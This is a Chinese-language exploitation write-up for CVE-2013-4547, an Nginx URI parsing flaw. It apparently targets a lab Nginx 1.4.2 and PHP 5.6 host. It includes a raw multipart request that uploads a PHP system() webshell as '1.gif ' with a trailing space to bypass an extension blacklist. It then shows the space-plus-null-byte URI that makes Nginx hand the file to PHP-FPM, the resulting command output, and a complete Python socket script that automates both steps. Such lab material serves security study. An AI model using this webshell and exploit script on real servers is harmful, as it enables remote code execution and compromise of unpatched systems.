CVE-2013-4547 Nginx URI解析漏洞利用总结

漏洞信息

项目 内容
CVE编号 CVE-2013-4547
影响版本 Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.6
靶场版本 Nginx 1.4.2 + PHP 5.6.40
漏洞类型 URI解析绕过 → RCE
靶机地址 http://192.168.229.60:8080

漏洞原理

Nginx在处理URI时存在解析缺陷:当URI中含有空格字节(0x20) 和**空字节(0x00)**时,Nginx对location规则的匹配结果与传递给PHP-FPM的文件名不一致。

复制代码
请求 URI:  /uploadfiles/1.gif<0x20><0x00>.php
                     ↑ 规则匹配           ↑
    Nginx 看到 → `\.php$` 匹配成功 → 传给 PHP-FPM
    PHP-FPM 收到 → SCRIPT_FILENAME = "/var/www/html/uploadfiles/1.gif "
    PHP 执行 → `/var/www/html/uploadfiles/1.gif ` 中的代码
  • Nginx location匹配时,空字节截断字符串 → 看到 .php 就匹配了

  • SCRIPT_FILENAME 只取到空格前 → 实际执行的是 1.gif(带空格的GIF文件)

  • 上传时文件名 1.gif 末尾空格绕过了 php/phtml/php5 黑名单

攻击步骤

Step 1:上传webshell(文件名末尾带空格)

原始HTTP请求:

复制代码
POST /index.php HTTP/1.1
Host: 192.168.229.60:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxx
Content-Length: xxx
Connection: close
​
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="file_upload"; filename="1.gif "
Content-Type: text/plain
​
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundaryxxx--

关键点: filename="1.gif " 末尾的空格 不能丢,pathinfo()检测到扩展名是 gif(非php)→ 上传成功。

Step 2:触发漏洞执行

Burp Suite操作(Hex模式):

  1. 在Repeater中切换到Hex视图

  2. 写出请求行:

    复制代码
    GET /uploadfiles/1.gif HTTP/1.1
  3. 1.gif 后面添加3个字节:20(空格) 00(空字节) → 然后接 .php

  4. 最终URI原始字节:

    复制代码
    /uploadfiles/1.gif<0x20><0x00>.php?cmd=id

完整请求:

复制代码
GET /uploadfiles/1.gif<0x20><0x00>.php?cmd=id HTTP/1.1
Host: 192.168.229.60:8080
Connection: close

注意: <0x20><0x00>原始字节 ,不是URL编码的%20%00

Step 3:验证RCE

复制代码
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Python版完整利用脚本

复制代码
import socket, urllib.parse
​
# 1. 上传webshell(原始socket确保文件名空格保留)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.229.60', 8080))
​
boundary = b'----Boundary7MA4YWxkTrZu0gW'
php_code = b'<?php system($_GET["cmd"]); ?>'
​
body = b''
body += b'--' + boundary + b'\r\n'
body += b'Content-Disposition: form-data; name="file_upload"; filename="1.gif "\r\n'
body += b'Content-Type: text/plain\r\n\r\n'
body += php_code + b'\r\n'
body += b'--' + boundary + b'--\r\n'
​
req = b'POST /index.php HTTP/1.1\r\n'
req += b'Host: 192.168.229.60:8080\r\n'
req += b'Content-Type: multipart/form-data; boundary=' + boundary + b'\r\n'
req += b'Content-Length: ' + str(len(body)).encode() + b'\r\n'
req += b'Connection: close\r\n\r\n'
req += body
s.send(req)
s.close()
​
# 2. 利用CVE触发执行命令
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.229.60', 8080))
​
cmd = 'id'
uri = b'/uploadfiles/1.gif\x20\x00.php?cmd=' + urllib.parse.quote(cmd).encode()
​
req = b'GET ' + uri + b' HTTP/1.1\r\n'
req += b'Host: 192.168.229.60:8080\r\n'
req += b'Connection: close\r\n\r\n'
s.send(req)
​
resp = b''
while True:
    d = s.recv(4096)
    if not d: break
    resp += d
s.close()
​
print(resp.decode('utf-8', errors='replace'))

关键要点总结

  1. 空格+空字节 是漏洞核心,必须用原始字节发送

  2. ✅ 上传文件名末尾必须带空格(文件系统支持)

  3. ✅ PHP的pathinfo()不会trim空格 → 扩展名校验绕过

  4. ✅ Nginx 1.4.2 location匹配被空字节截断 → 认为以.php结尾

  5. ✅ PHP-FPM收到的文件名是带空格版本 → 能找到实际文件并执行

  6. ⚠️ 普通curl的-F参数会trim掉文件名末尾空格 → 必须用原始socket发送

相关推荐
Coffeeee2 小时前
不能用公司的打包机,AI帮我实现了一套比打包机更好用的Android包构建/分发流程
android·人工智能·ai编程
多彩电脑2 小时前
向AIDE(安卓设备上的Android Studio)导入aar库
android·java·开发语言·androidx
恋猫de小郭2 小时前
解析华为 DevEco Code 和小米 MiMo Code,都基于 OpenCode ,有什么区别?
android·前端·ios
2501_932750263 小时前
Android 控件与布局全面解析
android
问心无愧05133 小时前
ctfshow web入门114
android·前端·笔记
黄林晴3 小时前
离谱!Android 17藏神仙功能,手机录屏叠加真人出镜
android
朱涛的自习室3 小时前
Harness 还没学会,又来了个 Loop Engineering ?
android·人工智能·github
问心无愧05133 小时前
ctf show web入门115
android·前端·笔记
牢七3 小时前
dedecms审计(废案)
android